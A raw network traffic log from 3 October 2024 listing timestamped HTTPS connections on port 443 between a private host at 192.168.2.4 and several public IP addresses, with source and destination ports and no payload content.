Oct 3, 2024 10:41:32.386265039 CEST	49801	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:32.386280060 CEST	443	49801	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:32.433188915 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:32.433198929 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.444540977 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:32.444778919 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:32.445724010 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:32.553349972 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.553422928 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.553706884 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:32.555905104 CEST	49808	443	192.168.2.4	63.140.62.222
Oct 3, 2024 10:41:32.555931091 CEST	443	49808	63.140.62.222	192.168.2.4
Oct 3, 2024 10:41:32.587575912 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.587672949 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:32.588638067 CEST	49810	443	192.168.2.4	66.235.152.225
Oct 3, 2024 10:41:32.588651896 CEST	443	49810	66.235.152.225	192.168.2.4
Oct 3, 2024 10:41:32.639936924 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.640229940 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:32.640242100 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.641311884 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.641496897 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:32.643410921 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:32.643410921 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:32.643423080 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.643480062 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.821717024 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:32.821783066 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:33.855839968 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:33.855865002 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:33.856153965 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:33.856336117 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:33.856350899 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:34.037456989 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:34.037488937 CEST	443	49799	52.58.104.46	192.168.2.4
Oct 3, 2024 10:41:34.037499905 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:34.037724018 CEST	49799	443	192.168.2.4	52.58.104.46
Oct 3, 2024 10:41:34.039190054 CEST	49822	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.039201021 CEST	443	49822	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.039798975 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.039820910 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.039881945 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.040071011 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.040086031 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.046034098 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.046056032 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.046164989 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.046359062 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.046372890 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.052534103 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.052558899 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.052696943 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.052913904 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.052927971 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.108083010 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.108112097 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.108254910 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.108503103 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.108527899 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.183909893 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.183954954 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:34.184302092 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.184302092 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.184335947 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:34.502691031 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.504107952 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.504163980 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.504539967 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.505247116 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.505359888 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.506675959 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.547425032 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.562793970 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.563066959 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.563080072 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.564183950 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.564238071 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.567161083 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.567270041 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.567343950 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.567349911 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.594233990 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:34.594500065 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:34.594506979 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:34.595751047 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:34.595820904 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:34.596787930 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:34.596864939 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:34.596952915 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:34.596959114 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:34.683343887 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.683444023 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.683517933 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.684964895 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.685012102 CEST	443	49837	35.244.174.68	192.168.2.4
Oct 3, 2024 10:41:34.685044050 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.685085058 CEST	49837	443	192.168.2.4	35.244.174.68
Oct 3, 2024 10:41:34.685743093 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.685780048 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.685833931 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.686064005 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.686081886 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.687849045 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.688057899 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.688065052 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.689126015 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.689198017 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.689538002 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.689596891 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.689750910 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.689758062 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.705179930 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.705265045 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.706696987 CEST	49840	443	192.168.2.4	67.202.105.24
Oct 3, 2024 10:41:34.706713915 CEST	443	49840	67.202.105.24	192.168.2.4
Oct 3, 2024 10:41:34.707470894 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.707504034 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.707648039 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.707778931 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.707792997 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.746583939 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.803450108 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:34.803539038 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:34.817506075 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:34.817972898 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.817987919 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:34.819065094 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:34.819130898 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.820350885 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.820415974 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:34.820513964 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.820530891 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:34.838800907 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.839303017 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.839318037 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.840394020 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.840559006 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.841486931 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.841556072 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.841650963 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.887403011 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.923397064 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:34.923423052 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:34.923481941 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:34.923712015 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:34.923722982 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:34.938646078 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:34.938646078 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:34.938656092 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:34.977319956 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.977438927 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.977489948 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.979070902 CEST	49838	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:34.979099989 CEST	443	49838	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:34.983716011 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:34.983797073 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:34.983882904 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:34.984107971 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:34.984143019 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.129007101 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.214530945 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.214688063 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.214757919 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.222171068 CEST	49847	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.222201109 CEST	443	49847	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.223213911 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.223244905 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.223357916 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.223753929 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.223781109 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.223797083 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.223817110 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.223829985 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.223848104 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.223858118 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.223870993 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.223875046 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.223893881 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.223906040 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.223906040 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.223932028 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.223958015 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.235919952 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.235930920 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.235990047 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.235999107 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.236001015 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.236056089 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.236056089 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.236066103 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.236078024 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.236100912 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.236114025 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.236140013 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.251774073 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.253695965 CEST	49844	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.253710032 CEST	443	49844	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.262186050 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.262212992 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.262258053 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.262269974 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.262319088 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.262319088 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.271003008 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.271051884 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.271183014 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.271397114 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.271409988 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.317702055 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.317955017 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.317972898 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.318340063 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.320266962 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.320384026 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.320974112 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.322931051 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.323219061 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.323231936 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.324316978 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.324388981 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.325633049 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.325699091 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.325829983 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.330450058 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.330495119 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.330744982 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.330962896 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.330975056 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.343178988 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.343209028 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.343249083 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.343257904 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.343301058 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.343318939 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.349275112 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.349330902 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.349347115 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.349354029 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.349404097 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.349416971 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.367408991 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.371402025 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.429378033 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.429409981 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.429450989 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.429464102 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.429491043 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.429573059 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.430493116 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.430515051 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.430562973 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.430569887 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.430598021 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.430608034 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.431643009 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.431710958 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.434302092 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.434343100 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.434369087 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.434376001 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.434407949 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.437583923 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.437618971 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.437642097 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.437649965 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.437684059 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.437697887 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.439626932 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.439635038 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.441396952 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.441457033 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.517393112 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.517463923 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.517975092 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.518035889 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.518207073 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.518265009 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.519258976 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.519299984 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.519323111 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.519329071 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.519362926 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.519388914 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.519757032 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.519793987 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.519839048 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.519846916 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.519953966 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.520957947 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.520982027 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.521015882 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.521020889 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.521056890 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.521071911 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.522782087 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.522830963 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.522876024 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.522881031 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.522900105 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.522917986 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.523202896 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.523260117 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.523591995 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.523646116 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.525772095 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.525808096 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.525855064 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.525863886 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.525897026 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.526199102 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.526252031 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.526258945 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.526333094 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.529860020 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.529896975 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.529958963 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.529958963 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.529967070 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.530004978 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.531485081 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.531543016 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.542321920 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.542962074 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:35.542970896 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.543378115 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.543765068 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:35.543836117 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.543898106 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:35.572909117 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.573000908 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.573101044 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.573982954 CEST	49852	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.574004889 CEST	443	49852	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.588690042 CEST	443	49851	46.137.24.228	192.168.2.4
